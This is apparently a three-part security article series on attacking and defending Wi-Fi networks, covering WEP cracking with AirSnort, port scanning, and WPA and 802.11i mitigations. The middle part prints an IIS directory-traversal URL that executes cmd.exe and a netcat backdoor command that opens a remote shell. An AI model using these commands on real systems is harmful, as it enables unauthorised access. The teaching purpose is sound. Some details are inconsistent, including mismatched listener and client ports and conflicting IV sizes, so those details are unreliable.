Wireless Attacks and Penetration Testing

The very idea of a wireless network introduces multiple venues for attack and penetration that are either much more difficult or completely impossible to execute with a standard, wired network. Wireless networks only know the boundaries of their own signal: streets, parks, nearby buildings, and cars all offer a virtual "port" into your wireless network.

This is the first of a three part series on penetration testing for wireless networks. This installment will detail many common styles of attacks against wireless networks, introduce WEP key-cracking, and then discuss some recent developments in wireless security.

Part two of this series will explain the WEP key-cracking process in detail, review standard port scanning techniques, and then explain how to identify and exploit vulnerabilities. The third installment will discuss mitigating strategies to protect your wireless network.

Types of attacksThere are three main types of attacks against wireless networks: denial of service attacks, man in the middle attacks, and ARP poisoning attacks. WEP key-cracking, which is often also considered an attack, will be introduced in this article and then discussed in detail in the next installment.

Denial of Service (DoS) attacksThe objective of any denial of service attack is to prevent users from accessing network resources -- to deny them service. The usual methods of triggering DoS attacks are to flood a network with degenerate or faulty packets, crowding out legitimate traffic and causing systems not to respond.

Wireless systems are particularly susceptible to DoS attacks because of the way different layers of the OSI stack interact with one another. First, and perhaps most obviously, an attack using the "physical" layer in a wireless network is much easier than to attack the physical layer of a wired network -- the physical layer is the air, the general vicinity around a particular access point. Attackers don't need to gain access to your internal corporate campus; they can simply drive by and begin their attack from a car or even a nearby shop or restaurant, depending on how your access points are laid out. It's also more difficult to discern whether or not a physical DoS attack has occurred with a wireless network as typically, there is no real evidence. An attacker can create a physical DoS attack by manufacturing a device that will flood the 2.4 GHz spectrum with noise and illegitimate traffic, a task that is not technically complicated. Even some poorer quality cordless phones can cause interference at 2.4 GHz, the range that 802.11b wireless networks operate.

At the data link layer of the OSI stack, again one can point out numerous ways in which DoS attacks are simpler to launch against wireless systems than against traditional wired networks. One of the most common ways to mount an attack against the data link layer is through the manipulation of diversity antennas. Here's how that might work: say there is an access point, named AP, with diversity antennas A (for the left side) and B (for the right). If user 1 and user 2 are on opposite sides of the office, then each user by default accesses a different antenna on the access point. Herein lies the problem-if user A decided to clone the MAC address of user B, the former can take the latter off the network. By increasing the strength of his signal to at least equal, if not exceeding, user B's signal on antenna A, then the access point will no longer send or receive data from user A. He has been denied service, and the attack was successful.

Spoofed access points are another problem with the data link layer on wireless networks, even with WEP authentication. Clients are typically configured to associate with the access point with the strongest signal. An attacker can simply spoof the SSID (the name) of an access point and clients will automatically associate with it and pass frames back and. Here is where an attacker can capture traffic and, with time, determine the WEP key used to authenticate and encrypt traffic on the wireless network.

Finally, at the network layer, it's simple to flood a wireless network with large ping requests or other unauthentic traffic once an attacker has associated with a particular wireless access point.

Man-in-the-middle attacksSimilar to DoS attacks, man-in-the-middle attacks on a wireless network are significantly easier to mount than against physical networks, typically because such attacks on a wired network require some sort of access to the network. Man-in-the-middle attacks take two common forms: eavesdropping and manipulation.

In eavesdropping, an attacker simply listens to a set of transmissions to and from different hosts even though the attacker's computer isn't party to the transaction. Many relate this type of attack to a leak, in which sensitive information could be disclosed to a third party without the legitimate users' knowledge. Manipulation attacks build on the capability of eavesdropping by taking this unauthorized receipt of a data stream and changing its contents to suit a certain purpose of the attacker-perhaps spoofing an IP address, changing a MAC address to emulate another host, or some other type of modification.

To prevent an eavesdropping attack, one must encrypt the contents of a data transmission at several levels, preferably using SSH, SSL, or IPsec. Otherwise, large amounts of traffic containing private information are passed through thin air, just waiting for an attacker to listen in and collect the frames for further illegitimate analysis.

ARP poisoningTo understand an ARP poisoning attack, a bit of background on ARP itself is needed. The Address Resolution Protocol allows Ethernet objects using TCP/IP as their communications protocol to discern which other objects on a network have which IP addresses. Much like NetBIOS, it is a chatty protocol that broadcasts traffic to all hosts when a particular packet is only meant for one host on that network, ARP broadcasts a request to identify a particular host that is using a certain IP address. The host in question receives that message and acknowledges it, and the originating computer stores the responding computer's MAC address in its cache, knowing that further transmission to that host won't require any further IP address discovery.

The problem comes about with modern operating systems that don't fully adhere to the spirit of ARP broadcasting and detection. If a computer running modern versions of Windows or even Linux detects a packet sent from a particular machine on the network, it will assume that the MAC address of that computer correctly corresponds with the IP address from which the sending computer is purportedly transmitting. All future transmissions to that computer will then take place using that efficiently but problematically learned IP address, which is stored in the computer's cache for future reference.

But what if an attacker creates illegitimate packets with a spoofed IP address that claims that IP belongs to his own computer's MAC address? Then, all transmissions from hosts that use the "shortcut" method of learning MAC/IP address combinations will be directed to the attacker's computer and not to the intended host, which allows the attacker's computer to eavesdrop on communications and possibly manipulate responses to deepen his attack. This is certainly a serious problem. An attacker can get packets and frames out of thin air by simply "poisoning" these local caches of MAC/IP combinations of any two hosts connected to the physical network on which any access point runs.

Other considerationsThe attacks described above are by no means the only ways for crackers to get access to wireless networks. In this section, I'll describe some of the other considerations for administrators of WLANs.

War drivingBack when dial-in use was common and corporate networks had their own pools of modems, attackers would use a technique called "war-dialing" in which scripts would generate large blocks of random phone numbers and dial them, attempting to find a phone that would answer with a modem connection string. This sort of mass dialing transferred itself onto the Internet once the latter became the prevalent way of accessing information and computers, and it became even more common and even more effective by allowing attackers to not even need a phone line to knock on the doors of groups of computers, found by randomly generating their IP address.

Shift your attention now to the current day, where wireless networks have suddenly become the target of "war drivers." Using special software, a global positioning system (GPS) unit, and a notebook computer with wireless capabilities, an attacker can drive through any city or populated area, sampling the airwaves for wireless access points. The special war driving software keeps information about latitude, longitude, and configuration of the access points found along the driver's route. In fact, one can travel on an interstate system in the United States, or other similarly-traveled highway elsewhere, and find plenty of access points that are open with no security enabled. This is certainly something to keep in mind when deploying your WAPs.

Wired Equivalent Privacy (WEP)One of the most known and publicized insecurities in wireless networks in the Wired Equivalent Privacy, or WEP, authentication scheme. Use of WEP means your network is one step away from having a completely open wireless network-but that one step is pretty measly.

Using WEP means each frame is encrypted using an RC4 stream cipher that is decrypted upon arrival at the access point, so WEP is only good for data sent between access points-wired networks don't and can't use WEP. To encrypt the data, WEP uses a seed that takes a shared secret key (the "WEP key") and combines it with a 24-bit piece of data called the initialization vector, or IV. Using the IV with the WEP key increases the life of the WEP key because the IV can be changed upon each transmission, whereas logistically the WEP key itself is much more difficult to change. WEP uses the seed with a random number generator that creates the keystream. On the receiving end, the access point recalculates the bits used to create the keystream and compares it against the received data to make sure its integrity was preserved. WEP also specifies a shared secret 40 or 64-bit key to encrypt and decrypt the data, and most vendors nowadays are allowing 128-bit WEP keys as well.

Using WEP is problematic, however, and lulls you into a false sense of security because of the short IVs used and the fact that WEP keys are static. Since WEP only uses 24 bits for its IV value range, eventually the same IV will be used for different data packets-if you have a large network with lots of traffic, this duplication can conceivably occur within an hour. Keystreams, therefore, are similar, and all an attacker has to do is collect data frames for about an extended period (using an eavesdropping attack as described previously in this feature) and then run a Linux utility created specifically to break WEP encryption, called WEPCrack. WEPCrack will be discussed further in the next installment of this article.

The vulnerability is exacerbated by the static shared secret keys-since keys can't be exchanged among access points in the network, the same keys are used for extended periods of time. The attacker doesn't need long to figure out the key, and once he has the key, you might as well not use WEP at all.

Recent developments in wireless securityAs of May 17, 2004, two security organizations issued alerts regarding flaws in 802.11b wireless equipment that they claim are "indefensible." AusCERT and US-CERT, two emergency response team organizations, were notified in November of a flaw in the direct-sequence spread spectrum (DSSS) modulation scheme that 802.11b equipment uses, and in close cooperation with several manufacturers were unable to find a resolution to the problem. The only real solution to the problem is to switch to 802.11a devices, which use a different method of modulation.

A denial of service attack can be launched by a malicious user by working against the Clear Channel Assessment (CCA) procedure in the DSSS protocol, exploiting it at the physical layer. By doing so, all devices within range of the affected access point stop transmitting data for the duration of the attack. Since the CCA procedure is used to discern whether a channel within the wireless spectrum is busy, attacks against the CCA result in a sort of constant "busy" signal that prevents any use of the wireless network while the attack is proceeding.

An administrator can guard against the attack using any number of radio frequency spectrum management tools, which sample the airwaves and determine the channel which is being jammed. Administrators could then dynamically reassign the channel used by their access equipment and restore service to the wireless network. However, the best recommended workaround is to begin employing tri-mode wireless equipment that operates with the 802.11a, 802.11b, and 802.11g protocols. Keep your eyes open for more on this development, as it is significant to wireless network security.

Coming up

Part two of this article will explain the WEP key-cracking process in detail, review standard port scanning techniques, and then explain how to identify and exploit vulnerabilities. Stay tuned.

###NextPage###

There are several techniques to performing penetration testing on your wireless network, the objective of all of them being to improve the security and integrity of the network itself. What wireless lacks in the security of the physical layer and medium must be compensated for in protections on other layers of the stack. As you'll recall from Part I of this article, there are many different attacks that a nefarious individual can carry out on your wireless network.

In this installment, I'd like to focus more on a cracker attempting to penetrate your network and hack one of the servers held therein. The three phases of this hypothetical, but entirely realistic attack, consist of:

gaining access to the wireless network, even though it is protected by WEP2. finding available servers on the network

determining the services on those servers available for connection (and exploit)

taking advantage of a well-known vulnerability to gain unauthorized access to a machine

Let's begin.

Phase 1: WEP key cracking

Our first task is to figure out how to gain access to the WEP-protected wireless network. Using AirSnort, named after the venerable intrusion detection system Snort, you can passively monitor transmissions across a wireless network and, from that monitoring, derive the encryption key for a WEP-protected network once you have an adequate base of packets. The number of packets required is somewhere between 5 and 10 million packets, but once this foundation of packets for reference has been gathered, it takes less than one second to identify the key. It's important to note that all 802.11b networks with 40/128 bit WEP encryption are vulnerable. Further, since using AirSnort constitutes a passive attack, nothing can be done to detect the program being run, either.

AirSnort is a Linux-based application and requires two things of your network card:

it must support RF monitor mode, and

it must have the ability to pass these RF-monitor mode packets to the PF_PACKAGE interface.

Note: there is some movement toward a Windows release of AirSnort. From the latest information on the porting effort, it appears to require considerable experience from developers in order to get it working on Windows, however.

Having a wireless card that operates in monitor mode allows the card to capture packets without associating with an access point or ad-hoc network. This way, you can sniff packets from a specific channel without ever needing to transmit any packets. In monitor mode, you can also discover access points that might not otherwise be available to you and attempt to crack the WEP key associated with that AP that way.

AirSnort also allows you to use promiscuous mode, which is similar to monitor mode but requires you to associate with a nearby access point-meaning you can effectively only sniff networks that trust you. If you are in promiscuous mode, you will not be able to sniff packets until after you have associated with an AP.

The suggested cards from the developers of the product include Cisco Aironet cards, any Prism-based cards using wlan-ng drivers, and Orinoco-based cards using the newer, patched set of orinoco_cs drivers. You will also need an up-to-date version of libpcap and gtk+-2.2 and gtk+-devel, since the AirSnort interface runs inside a graphical user interface (GUI).

Once all of the prerequisites have been filled, download the latest version of AirSnort and then, from a command line, execute the following:

tar -xzf airsnort-0.2.3a.tar.gz

cd airsnort-0.2.3a

./autogen.sh

make

Once those commands have completed, AirSnort is installed on your machine. Run AirSnort within your favorite GUI environment on Linux, and then you'll see the figure presented in Figure 1.

Figure 1: Sniffing packets with AirSnort

Once you have your wireless card active, press Start and begin collecting packets. The most common question now is, how long should you wait Here's how AirSnort cracks a WEP key. A weak IV, as discussed in Part I of this article, can assist in exposing only one key byte. AirSnort collects these weak IVs and sorts them according to which key byte each assists in exposing. When a sufficient number of weak IVs have been gathered for a particular key byte, AirSnort computes the probable value for that key byte using some advanced statistical methods. Once these probable values have been generated, AirSnort makes a guess at the key based on the highest ranking values found in the statistical analysis. Typically, there is approximately a 95% chance that a weak IV will reveal nothing at all about a key byte. It may require only a few packets before a key byte is revealed, or it may require many times more. Thus, some keys will be generated and tried fairly quickly, whereas others will crack much more slowly. Regardless, after a while, AirSnort will calculate the key and present it to you. At that point, associate with the wireless network, and you're now effectively connected to that LAN as if you were plugged in via a standard wire port.

Another tool much like AirSnort is WEPCrack, a utility that simply cracks 802.11 WEP encryption keys via much the same method as AirSnort. WEPCrack, however, requires a lot more manual intervention, sniffing packets out of the air and then logging them to a file in a specific format so that a Perl script can be run to glean weak IVs from the packets. Another Perl script is then run to generate the WEP key from that list of IVs. AirSnort has quite a bit more polish, and allows you to complete all of the tasks associated with the key breaking process from within one application. I recommend AirSnort over WEPCrack; however, if you are working in a forced text-only environment with no GUI, then give WEPCrack a look.

Phase II: port scanning

Next, let's discover some of the things running within our newly-cracked network. Port scanning continues to be an effective and simple way to detect anomalies and openings from your internal network to the outside world. Using the Linux-based NMAP utility, which is the gold standard of port scanning software, helps you to determine both the operating system and version of a system detected through the firewall, but also what ports are open and what usual applications are behind those open ports. The port scanning process essentially knocks on the doors of your computer, asking who is there and why.

NMAP and port scanning is a good place to start when beginning your penetration testing process. It provides an overview of your networks, with pointers into where to look for weaknesses. There are plenty of resources on NMAP already on SecurityFocus, so be sure to examine the archives here for in-depth coverage of NMAP's capabilities and operation.

Phases III and IV: identifying vulnerable applications and exploiting them

The next step, once you've gained access to the wireless network and discovered open ports on systems connected to the network therein, is to probe the applications behind those ports, determine their identities and any possible vulnerabilities. Again on Linux, there are a couple of tools you can use to try to bring down applications and target their weaknesses.

The first application is NetCat, which is a multipurpose tool for the TCP/IP protocol-it's been dubbed the "swiss army knife" of network administrators everywhere. It is a simple Unix utility which reads and writes data across network connections, using the TCP or UDP protocols. It is designed to be a reliable "back-end" tool that can be used directly, or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, able to create almost any kind of connection imaginable with several built-in features.

Some of the activities you can perform with NetCat include:

Create outbound or inbound connections, TCP or UDP, to or from any ports

Implement full DNS forward/reverse checking, with appropriate warnings

Use any local source port

Use any locally-configured network source address

Use integrated port-scanning capabilities, with randomizer

Use integrated loose source-routing capability

Read command line arguments from standard input

Use Slow-send mode, one line every N seconds

Create a hex dump of transmitted and received data

Let another program service established connections

Use the optional telnet-options responder

One of the primary uses a hacker would have with NetCat is to send improperly crafted, illegitimate, or handily cloaked TCP/IP packets to a certain host and port and watch the reaction of the application behind that port. For example, one can construct a packet with enough HTTP code to request the web server at port 80 to identify itself and its platform. But we'll start a bit earlier than that. To conduct a simple port scan with NetCat -- for instance, of the server at 192.168.0.2 using ports 1-500, we'd execute and receive in return the following:

linux:~ # netcat -v -w2 -z 192.168.0.2 1-500

mercury.hasselltech.local [192.168.0.2] 464 (kpasswd) open

mercury.hasselltech.local [192.168.0.2] 445 (microsoft-ds) open

mercury.hasselltech.local [192.168.0.2] 444 (snpp) open

mercury.hasselltech.local [192.168.0.2] 443 (https) open

mercury.hasselltech.local [192.168.0.2] 389 (ldap) open

mercury.hasselltech.local [192.168.0.2] 139 (netbios-ssn) open

mercury.hasselltech.local [192.168.0.2] 135 (epmap) open

mercury.hasselltech.local [192.168.0.2] 88 (kerberos) open

mercury.hasselltech.local [192.168.0.2] 82 (xfer) open

mercury.hasselltech.local [192.168.0.2] 80 (http) open

mercury.hasselltech.local [192.168.0.2] 53 (domain) open

mercury.hasselltech.local [192.168.0.2] 42 (name) open

mercury.hasselltech.local [192.168.0.2] 25 (smtp) open

From this list, we see that port 80, the usual web server port, is open. We can use NetCat to identify the banner of the service, a fairly accurate way to determine the software used for that service. (Clever administrators can change this, but most don't bother unless they're creating honeypot systems.) Using NetCat:

linux:~ # netcat -v -n 192.168.0.2 80

(UNKNOWN) [192.168.0.2] 80 (?) open

GET HTTP

HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/5.0

Date: Tue, 01 Jun 2004 22:56:11 GMT

Content-Type: text/html

Content-Length: 87

Connection: close

Content-Length: 34

The parameter?

The banner indicates to us that we've found what is probably a Windows 2000 server running IIS 5.0. Clever hackers will then research valid exploits on unpatched Windows 2000 servers and try them. For instance, issuing the GET statement above with an address http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c: to an unpatched IIS 5 server will result in a listing of the contents of the root directory in C: in your NetCat window. That's a problem for the administrator, but you just accomplish the hacker's objective -- finding a way into your system -- using NetCat.

NetCat can also run as a backdoor once installed on a machine, listening on a specific port and waiting for connections. Most hackers would use NetCat on both ends of a connection for a full-featured communications session. For instance, on a remote machine at IP address 192.168.0.2, running nc -L -p 7896 -d -e cmd.exe would instruct NetCat to stay open listening for a connection (-L), listen on port 7896 (-p), run cmd.exe upon connection (-e), and detach itself from that process (-d). Then, on a local machine, run nc -v -n 192.168.0.2 7890 and watch as NetCat connects to the remote machine and a shell on the remote machine opens, ready for your commands. It's a powerful tool for penetrating networks.

Note that NetCat is also available for Windows NT-based machines; this version can also be found at the same location as the Unix version.

If web server exploitation particularly concerns you, you might want to have a look at Whisker. It's another Linux tool that uses documented vulnerabilities in web server software to test running instances of those programs. Take, for instance, the machine in our earlier example detected by NMAP and NetCat to be running Microsoft Internet Information Services (IIS). Whisker takes common vectors of attacks-buffer overflows, FrontPage extensions, IIS password administration, and Unicode URL attacks that have been well documented-and uses them against a running instance of IIS. It's a great way to tell if a system is hardened. Whisker can be found directly from the SecurityFocus tools archive.

Conclusion

In this installment of the series, you've discovered how to find wireless networks, gain access to them even if they're using WEP encryption, find vulnerable systems and ports, and use various utilities to assist you in those endeavors. This is mostly what a hacker would do to gain access to your systems. By "knowing thine enemy," you can then successfully implement strategies to circumvent these methods-which is the topic of Part III, the final installment, which will appear in a few weeks. Until then.

###NextPage###

In the previous two installments (part one, part two) of this series, I've discussed the types of attacks your wireless network is subject to see and some techniques you can use to pen-test your WLAN. In this final part, I'll look at ways to mitigate the risks I've outlined in the previous parts of the article and spend a bit of time looking at some proposed solutions currently in front of the IETF.

Basic Steps to Fix WEP Problems

There are a few different procedures you can perform to temporarily fix problems with WEP. Think of these as "do these immediately" items, meant to be implemented as soon as practical.

Use longer WEP encryption keys, which makes the data analysis task more difficult. If your WLAN equipment supports 128-bit WEP keys, use it and don't accept anything less.

Change your WEP keys frequently. There are devices that support "dynamic WEP" which is off the standard but allows different WEP keys to be assigned to each user. Increasing the number of WEP keys in use increases the difficulty a hacker with encounter in cracking it. Since dynamic WEP is non-standard, implementations from different vendors are usually inoperable; stick with one manufacturer.

Place APs only on their own firewalled interface. Locate all access points outside your internal LAN, on a separate firewall interface on the firewall server/device.

Use a VPN for any protocol, including WEP, that may include sensitive information.

Implement a different technique for encrypting traffic, such as IPSec over wireless. To do this, you will probably need to install IPsec software on each wireless client, install an IPSec server in your wired network, and use a VLAN to the access points to the IPSec server. (Obviously, this is not an inexpensive proposition.) Using this method, WLAN users establish an IPSec tunnel to the IPSec server, thereby encrypting all wireless traffic through this tunnel. IPSec clients and servers are available from a number of vendors; there's even an open source implementation.

There's also the option of upgrading firmware on your network devices, which deserves some extended discussion. One reader, in response to part two of this series, wrote, "I run pen tests all the time and the weak IV exploit is virtually non-existent. The manufacturers have eliminated that issue, at least as far as I have been able to tell. I have only been able to crack it once in the past several years and that was because an old wireless adaptor with outdated firmware was on the system." Indeed this can be the case. The developers of AirSnort indicate that some NICs and access points no longer generate the initialization vectors (described in part two of this series) that result in the WEP key being easy to crack. The lesson here is to update the firmware on all of your NICs and access points, and if you're using wireless adapters that are two years of age or older, consider investing in new ones.

However, don't only look at the symptoms going away: look at the problem. Since WEP uses RC-4, and RC-4 demands that you only use a key once and then never reuse it, WEP is inherently flawed. The only mechanism built into the protocol that changes the key is the 16-bit IV value. It's built into the protocol that every 65,536 packets, the IV changes. No matter how firmware is upgraded, once that value is looped again, that's the weakness and that's an easy way in. Firmware upgrades shouldn't be ignored, but they also shouldn't be considered anything more than a stopgap measure while you evaluate a WPA implementation that suits your needs.

WPA-PSK and WPA-Enterprise

Now that you've implemented stop-gap measures, let's take a look at some possible permanent fixes to mitigate WLAN security risks. Up to this point, you might be thinking that the easiest way to rid yourself of the insecurities of WEP is to rid yourself of WEP period. And that's not a bad idea. The wireless community has responded to the problems and issues with WEP by introducing a new sort of security scheme, known as WPA, or Wi-Fi Protected Access.

A foundation of WPA is the Temporal Key Integrity Protocol, or TKIP. In short, TKIP does what WEP doesn't: the TKIP algorithm is stronger than the WEP encryption mechanism but can be done on existing wireless hardware. TKIP verifies the security configuration after encryption keys are determined and synchronizes by changing the unicast encryption key for each frame--this means no more static keys to break.

To be completely honest, that's actually not exactly true. Consider one variation of WPA, called WPA Pre-Shared Key (WPA-PSK). WPA-PSK is a simplified but still powerful form of WPA most suitable for small business and home office networking. To use WPA-PSK, a person does set a static key initially, like with WEP, but WPA uses TKIP and automatically changes the keys at a preset time interval, making it much more difficult for hackers to find and exploit them. So while there is still a static key, it's much more difficult to break and find.

Another variation of WPA is known as WPA-Enterprise, which requires the TKIP encryption as described above plus a back-end authentication server or device of some sort, and the use of EAP, or the Extensible Authentication Protocol. In EAP, RADIUS packets are wrapped in EAP messages and sent to a RADIUS server on the back end. The RADIUS server then decrypts that message and looks at the RADIUS packet contained therein; it finally communicates with other devices to determine if that access should be granted, wraps the result into another EAP message, and then communicates with its client. This type of communication is known as EAP-over-RADIUS.

All of this isn't to say that WPA and its associated mechanisms don't have problems. Robert Moskowitz of ICSA Labs has found that WPA passphrases containing dictionary words less than 20 characters long could possibly be cracked. This is made possible partly because a cracker can make an access point regenerate the key exchange with the client in less than 60 seconds. Even though the key exchange is indeed secured, it can be extracted and cracked offline. Choose your passphrases carefully.

Another concern is the fact that EAP itself transmits information in clear text; it doesn't do any sort of encryption, and because of the sensitive nature of the data it transmits, this is a genuine issue. Transport Layer Security, or TLS, was initially used to encrypt EAP sessions, but this requires the placement of certificates on all possible clients. TTLS was then seen as a fix to this problem, but Microsoft and Cisco also released Protected EAP, or PEAP, which addresses the same problem in a different way. Most experts familiar with the battle between the proposed standards say PEAP is a given winner.

If you have a Windows infrastructure, you can enable WPA by moving to Windows XP (either edition) with Service Pack 1. You will also need to download the WPA support patch, which can be found at http://support.microsoft.com. Windows XP Service Pack 2 will include support for WPA out of the box, with no need for an additional patch.

Of course, of the two solutions, WPA-Enterprise is the safest and most secure, but what if you don't want to invest in an expensive RADIUS server backend? Linksys senses this need and has "Wireless Guard," which works like an outsourced RADIUS environment, integrated into the latest motels of their Wireless-G access point products. Here's how it works, in a nutshell: when a user connects to the wireless network, he is prompted for a username and password as usual. The access point takes these credentials and establishes a secure link over the Internet to Linksys' RADIUS servers in their datacenter and attempts to match the given credentials to a list of authorized users, configured by your organization's administrator. Access is granted if the credentials are valid; if not, access is denied, and the administrator is sent a note about the attempted intrusion. Meanwhile, all data and traffic on the wireless network is completely encrypted as described above. The Wireless Guard technology is an easy way to implement WPA-Enterprise in smaller organizations. The pricing is reasonable for the functionality provided; visit http://www.linksys.com/wirelessguard for more information.

Looking to the Future

While WPA is a very good current solution, the best is yet to come: 802.11i, which is really the panacea for which we're all searching. 802.11i also includes TKIP, which results in a keyspace that would take 100 years of continuous transmission to fully deplete. The new specification also includes a more efficient and direct mechanism to detect packet tampering.

But most importantly, 802.11i adds the Advanced Encryption Standard (AES), which supports a longer and more secure stream of data than TKIP alone. AES is currently in wide use over the globe and has been adopted by the US government, and it's effectively impenetrable. While the AES keys will be the same length as TKIP keys--128 bits--the underlying algorithm is many times stronger. The downside of using AES is that the cryptography is very calculation-intensive and it may be difficult to find a current device that can support these extensive operations and provide reliable, acceptable performance to the end user at the same time.

802.11i will also support 802.1x and the Extensible Authentication Protocol (EAP). Using 802.1x authentications, clients have several defined roles, and the roles applied to them dictate the network access allowed to the client until his identity is approved by some back-end authentication server, like RADIUS as described earlier. EAP is used to funnel messages back and forth. This mechanism can also be used to either provide new keys to everyone on a regular basis (which isn't required) and to provide unique master keys to each individual client, further reducing the risk of key interception and ensuring someone gaining access to one key can't access traffic encrypted using other keys from other clients.

Wrapping it Up

In this series, we've examined wireless security in detail and looked at very common techniques crackers use to gain unauthorized access to your wireless network. We've also discussed ways to mitigate the risks that the WEP protocol introduces and looked to the future at 802.11i, the real solution for security over the airwaves. While one can imagine that wireless networks will likely never be as totally secure as wired connections simply because of their nature, there are many good things to come to ensure WLAN integrity is protected as much as our current technology allows.